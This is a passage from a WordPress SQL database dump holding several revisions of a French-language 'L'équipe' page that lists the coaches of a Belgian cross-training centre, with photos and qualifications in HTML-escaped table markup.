style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:44:26', '2013-07-03 19:44:26', '', 20, 'http://www.crosstrainingcenter.be/?p=247', 0, 'revision', '', 0),
(248, 1, '2013-07-03 19:47:43', '2013-07-03 19:47:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting Formateur coach&lt;/h5&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:47:43', '2013-07-03 19:47:43', '', 20, 'http://www.crosstrainingcenter.be/?p=248', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(249, 1, '2013-07-03 19:48:41', '2013-07-03 19:48:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting&lt;br&gt;\r\nFormateur coach&lt;br&gt;\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:48:41', '2013-07-03 19:48:41', '', 20, 'http://www.crosstrainingcenter.be/?p=249', 0, 'revision', '', 0),
(250, 1, '2013-07-03 19:51:00', '2013-07-03 19:51:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports&lt;br&gt;\r\nFormateur coach&lt;br&gt;\r\nCoach&lt;/h5&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\n\r\nFormateur coach\r\n\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: 